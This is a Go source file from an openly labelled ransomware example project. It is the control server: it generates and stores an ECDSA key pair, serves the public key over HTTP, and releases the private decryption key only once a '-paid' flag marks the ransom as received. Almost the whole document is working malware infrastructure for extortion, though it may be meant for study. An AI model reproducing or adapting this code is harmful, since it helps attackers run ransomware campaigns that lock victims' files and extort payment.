/
server.go
78 lines (64 loc) · 1.97 KB
/
server.go
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/*
Ransomware example in Golang
Copyright (C) 2017 Gustavo Henrique
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>
*/
package main
import (
"flag"
"fmt"
"os"
"gopkg.in/gin-gonic/gin.v1"
"github.com/gustavohenrique/ransomware/cryptography"
"github.com/gustavohenrique/ransomware/util"
)
const (
PRIVATE_KEY_FILENAME = "private.key"
PUBLIC_KEY_FILENAME = "public.key"
)
var (
paid *bool
privKey cryptography.PrivKey
pubKey cryptography.PubKey
)
func runHttpServer() {
port := os.Getenv("RANSOMWARE_PORT")
if port == "" {
port = "7000"
}
gin.SetMode(gin.ReleaseMode)
server := gin.Default()
server.GET("/", func(ctx *gin.Context) {
config := cryptography.ServerConfig{}
config.PubKey = pubKey
if *paid {
config.PrivKey = privKey
}
ctx.JSON(200, config)
})
msg := fmt.Sprintf("Ransomware server running on http://localhost:%s", port)
fmt.Println(msg)
server.Run(":" + port)
}
func main() {
paid = flag.Bool("paid", false, "If payment is ok")
flag.Parse()
if *paid {
fmt.Println("Payment confirmed. Congratulations for your new acquisition!")
}
ecdsaPrivKey, _ := cryptography.GenerateECDSAPrivateKey()
privKey = cryptography.GetOrCreatePrivKey(ecdsaPrivKey, PRIVATE_KEY_FILENAME)
util.WriteJsonIfKeyDoesntExists(privKey, PRIVATE_KEY_FILENAME)
pubKey = cryptography.GetOrCreatePubKey(ecdsaPrivKey, PUBLIC_KEY_FILENAME)
util.WriteJsonIfKeyDoesntExists(pubKey, PUBLIC_KEY_FILENAME)
runHttpServer()
}